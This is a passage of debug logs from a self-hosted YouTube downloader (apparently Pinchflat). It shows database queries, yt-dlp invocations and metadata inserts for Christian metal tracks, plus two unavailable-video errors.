s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:52.713 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:52.713 [debug] QUERY OK source="settings" db=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:52.714 [debug] Running yt-dlp command for action: get_downloadable_status 22:19:52.714 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:52.714 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=HUxq0YxIRls --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fe/64/fe64beafef7bc61e5331e4b3c4ff9ae3292ccb9fd1f9fa251c6b03710cb57e54.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:19:52.714 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:52.715 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:52.715 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:52.715 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9ZQGB0kOfW8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/47/2f/472fbf2e8669ca96a771d2a21b91497a77cd8ca1f3f0feee93d27edd7ada0d56.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:19:53.444 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by Universal Music Group\n\nLighthouse · August Burns Red\n\nGuardians\n\n℗ 2020 Fearless Records\n\nReleased on: 2020-04-03\n\nRecording Engineer, Recording Producer, Producer, Studio Personnel, Mixer, Programmer: Carson Slovak\nAssociated Performer, Studio Personnel, Producer, Recording Producer, Mixer, Programmer, Recording Engineer: Grant McFarland\nAssociated Performer, Vocals: William Jacob Luhrs\nAssociated Performer: JB Brubaker\nAssociated Performer: Brent Rambler\nComposer, Bass Guitar, Associated Performer, Vocals: Dustin Davidson\nAuthor, Associated Performer, Drums: Matthew Greiner\n\nAuto-generated by YouTube.", "duration" => 254, "filename" => "/downloads/ChristianMetal/ChristianMetal/2020-04-02Lighthouse[ygU1tg3yjIg].m4a", "id" => "ygU1tg3yjIg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ygU1tg3yjIg", "playlist_index" => 5, "timestamp" => 1585822601, "title" => "Lighthouse", "upload_date" => "20200402"} 22:19:53.445 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=730.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:19:53.445 [debug] QUERY OK source="sources" db=0.2ms idle=731.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:53.446 [debug] QUERY OK source="media_items" db=0.2ms idle=731.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-02 10:16:41Z], 5] 22:19:53.682 [debug] QUERY OK source="media_items" db=235.7ms idle=731.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nLighthouse · August Burns Red\n\nGuardians\n\n℗ 2020 Fearless Records\n\nReleased on: 2020-04-03\n\nRecording Engineer, Recording Producer, Producer, Studio Personnel, Mixer, Programmer: Carson Slovak\nAssociated Performer, Studio Personnel, Producer, Recording Producer, Mixer, Programmer, Recording Engineer: Grant McFarland\nAssociated Performer, Vocals: William Jacob Luhrs\nAssociated Performer: JB Brubaker\nAssociated Performer: Brent Rambler\nComposer, Bass Guitar, Associated Performer, Vocals: Dustin Davidson\nAuthor, Associated Performer, Drums: Matthew Greiner\n\nAuto-generated by YouTube.", "Lighthouse", "fe54aeca-a6fe-41b7-a21d-639c2f46196d", false, "ygU1tg3yjIg", 254, false, "https://www.youtube.com/watch?v=ygU1tg3yjIg", 5, "/downloads/ChristianMetal/ChristianMetal/2020-04-02Lighthouse[ygU1tg3yjIg].m4a", false, false, 5, [], 3, ~U[2020-04-02 10:16:41Z], ~U[2026-07-24 02:19:53Z], ~U[2026-07-24 02:19:53Z], "Provided to YouTube by Universal Music Group\n\nLighthouse · August Burns Red\n\nGuardians\n\n℗ 2020 Fearless Records\n\nReleased on: 2020-04-03\n\nRecording Engineer, Recording Producer, Producer, Studio Personnel, Mixer, Programmer: Carson Slovak\nAssociated Performer, Studio Personnel, Producer, Recording Producer, Mixer, Programmer, Recording Engineer: Grant McFarland\nAssociated Performer, Vocals: William Jacob Luhrs\nAssociated Performer: JB Brubaker\nAssociated Performer: Brent Rambler\nComposer, Bass Guitar, Associated Performer, Vocals: Dustin Davidson\nAuthor, Associated Performer, Drums: Matthew Greiner\n\nAuto-generated by YouTube.", "Lighthouse", "ygU1tg3yjIg", 254, false, "https://www.youtube.com/watch?v=ygU1tg3yjIg", "/downloads/ChristianMetal/ChristianMetal/2020-04-02Lighthouse[ygU1tg3yjIg].m4a", false, 5, ~U[2020-04-02 10:16:41Z]] 22:19:53.718 [debug] QUERY OK source="sources" db=35.7ms idle=967.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:53.719 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=273.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:53.720 [debug] QUERY OK source="media_items" db=0.7ms idle=273.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [123] 22:19:53.720 [debug] Current batch of media processed. Will check again in 1000ms 22:19:54.722 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by IIP-DDS\n\nI Am · Theocracy\n\nAs the World Bleeds\n\n℗ Ulterium Records\n\nReleased on: 2011-11-25\n\nArtist: Theocracy\n\nAuto-generated by YouTube.", "duration" => 660, "filename" => "/downloads/ChristianMetal/ChristianMetal/2019-02-04I Am[vfc8EjDuYNw].m4a", "id" => "vfc8EjDuYNw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vfc8EjDuYNw", "playlist_index" => 6, "timestamp" => 1549300716, "title" => "I Am", "upload_date" => "20190204"} 22:19:54.723 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:19:54.724 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:54.724 [debug] QUERY OK source="media_items" db=0.1ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-02-04 17:18:36Z], 5] 22:19:54.910 [debug] QUERY OK source="media_items" db=185.2ms idle=1003.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by IIP-DDS\n\nI Am · Theocracy\n\nAs the World Bleeds\n\n℗ Ulterium Records\n\nReleased on: 2011-11-25\n\nArtist: Theocracy\n\nAuto-generated by YouTube.", "I Am", "1d55630b-66bf-4d0a-9fda-39d97883b2f3", false, "vfc8EjDuYNw", 660, false, "https://www.youtube.com/watch?v=vfc8EjDuYNw", 6, "/downloads/ChristianMetal/ChristianMetal/2019-02-04I Am[vfc8EjDuYNw].m4a", false, false, 5, [], 3, ~U[2019-02-04 17:18:36Z], ~U[2026-07-24 02:19:54Z], ~U[2026-07-24 02:19:54Z], "Provided to YouTube by IIP-DDS\n\nI Am · Theocracy\n\nAs the World Bleeds\n\n℗ Ulterium Records\n\nReleased on: 2011-11-25\n\nArtist: Theocracy\n\nAuto-generated by YouTube.", "I Am", "vfc8EjDuYNw", 660, false, "https://www.youtube.com/watch?v=vfc8EjDuYNw", "/downloads/ChristianMetal/ChristianMetal/2019-02-04I Am[vfc8EjDuYNw].m4a", false, 5, ~U[2019-02-04 17:18:36Z]] 22:19:54.910 [debug] QUERY OK source="sources" db=0.2ms idle=187.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:54.911 [debug] QUERY OK source="media_profiles" db=0.1ms idle=186.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:54.911 [debug] QUERY OK source="media_items" db=0.1ms idle=186.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [125] 22:19:54.911 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nCollapsing (feat. Björn \"Speed\" Strid) · Demon Hunter\n\nThe World Is a Thorn\n\n℗ 2010 Solid State Records\n\nReleased on: 2013-06-01\n\nMusic Publisher: Beep I'm Gone, Beep I'm Back\nMusic Publisher: Spinning Audio Vortex\n\nAuto-generated by YouTube.", "duration" => 219, "filename" => "/downloads/ChristianMetal/ChristianMetal/2017-01-25Collapsing (feat. Björn "Speed" Strid)[-qTzjBAeTCQ].NA", "id" => "-qTzjBAeTCQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-qTzjBAeTCQ", "playlist_index" => 7, "timestamp" => 1485384806, "title" => "Collapsing (feat. Björn \"Speed\" Strid)", "upload_date" => "20170125"} 22:19:54.911 [debug] QUERY OK source="sources" db=0.1ms idle=187.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:19:54.912 [debug] QUERY OK source="sources" db=0.1ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:54.912 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-01-25 22:53:26Z], 5] 22:19:55.097 [debug] QUERY OK source="media_items" db=184.9ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nCollapsing (feat. Björn \"Speed\" Strid) · Demon Hunter\n\nThe World Is a Thorn\n\n℗ 2010 Solid State Records\n\nReleased on: 2013-06-01\n\nMusic Publisher: Beep I'm Gone, Beep I'm Back\nMusic Publisher: Spinning Audio Vortex\n\nAuto-generated by YouTube.", "Collapsing (feat. Björn \"Speed\" Strid)", "3a2544b6-9e33-4694-a19e-8f63b179982d", false, "-qTzjBAeTCQ", 219, false, "https://www.youtube.com/watch?v=-qTzjBAeTCQ", 7, "/downloads/ChristianMetal/ChristianMetal/2017-01-25Collapsing (feat. Björn "Speed" Strid)[-qTzjBAeTCQ].NA", false, false, 5, [], 5, ~U[2017-01-25 22:53:26Z], ~U[2026-07-24 02:19:54Z], ~U[2026-07-24 02:19:54Z], "Provided to YouTube by The Orchard Enterprises\n\nCollapsing (feat. Björn \"Speed\" Strid) · Demon Hunter\n\nThe World Is a Thorn\n\n℗ 2010 Solid State Records\n\nReleased on: 2013-06-01\n\nMusic Publisher: Beep I'm Gone, Beep I'm Back\nMusic Publisher: Spinning Audio Vortex\n\nAuto-generated by YouTube.", "Collapsing (feat. Björn \"Speed\" Strid)", "-qTzjBAeTCQ", 219, false, "https://www.youtube.com/watch?v=-qTzjBAeTCQ", "/downloads/ChristianMetal/ChristianMetal/2017-01-25Collapsing (feat. Björn "Speed" Strid)[-qTzjBAeTCQ].NA", false, 5, ~U[2017-01-25 22:53:26Z]] 22:19:55.098 [debug] QUERY OK source="sources" db=0.4ms idle=186.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:55.099 [debug] QUERY OK source="media_profiles" db=0.3ms idle=186.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:55.100 [debug] QUERY OK source="media_items" db=0.4ms idle=187.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [169] 22:19:55.100 [info] Kicking off download for media item #169 (-qTzjBAeTCQ) 22:19:55.377 [debug] QUERY OK source="tasks" db=130.7ms queue=0.1ms idle=148.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [184, 169, ~U[2026-07-24 02:19:55Z], ~U[2026-07-24 02:19:55Z]] 22:19:55.378 [debug] Current batch of media processed. Will check again in 1000ms 22:19:55.648 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=HUxq0YxIRls --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fe/64/fe64beafef7bc61e5331e4b3c4ff9ae3292ccb9fd1f9fa251c6b03710cb57e54.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] HUxq0YxIRls: Video unavailable. This video is not available 22:19:55.648 [error] yt-dlp download error for media item #121: "ERROR: [youtube] HUxq0YxIRls: Video unavailable. This video is not available\n" 22:19:55.648 [error] yt-dlp download will not be retried: "ERROR: [youtube] HUxq0YxIRls: Video unavailable. This video is not available\n" 22:19:55.794 [info] {"args":{"id":121},"id":183,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2963441,"event":"job:stop","queue_time":310737,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:19:55.794 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9ZQGB0kOfW8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/47/2f/472fbf2e8669ca96a771d2a21b91497a77cd8ca1f3f0feee93d27edd7ada0d56.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9ZQGB0kOfW8: Video unavailable. This video is not available 22:19:55.794 [error] yt-dlp download error for media item #119: "ERROR: [youtube] 9ZQGB0kOfW8: Video unavailable. This video is not available\n" 22:19:55.795 [error] yt-dlp download will not be retried: "ERROR: [youtube] 9ZQGB0kOfW8: Video unavailable. This video is not available\n" 22:19:55.795 [info] POST /sources/2/force_index 22:19:55.795 [debug] Processing with PinchflatWeb.Sources.SourceController.force_index/2 Parameters: %{"_csrf_token" => "XzJsfQEkICYoF1w5WiRVGGNeYhA1K3oa6__JhlIgCqhi8idN34Vcf_-Y", "_method" => "post", "source_id" => "2"} Pipelines: [:browser] 22:19:55.951 [info] {"args":{"id":119},"id":182,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3817822,"event":"job:stop","queue_time":634698,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:19:57.983 [debug] QUERY OK source="sources" db=2187.6ms idle=549.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:57.984 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by Universal Music Group\n\nWhat A Beautiful Name · Seventh Day Slumber\n\nUnseen: The Lamb\n\n℗ 2020 Rockfest Records\n\nReleased on: 2020-09-18\n\nProducer: Jeremy Holderfield\nComposer Lyricist: Ben Fielding\nComposer Lyricist: Brooke Ligertwood\n\nAuto-generated by YouTube.", "duration" => 235, "filename" => "/downloads/ChristianMetal/ChristianMetal/2020-09-17What A Beautiful Name[TOIO3NgKMa4].m4a", "id" => "TOIO3NgKMa4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TOIO3NgKMa4", "playlist_index" => 8, "timestamp" => 1600337166, "title" => "What A Beautiful Name", "upload_date" => "20200917"} 22:19:57.985 [debug] QUERY OK source="tasks" db=1.0ms queue=0.4ms idle=2189.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" 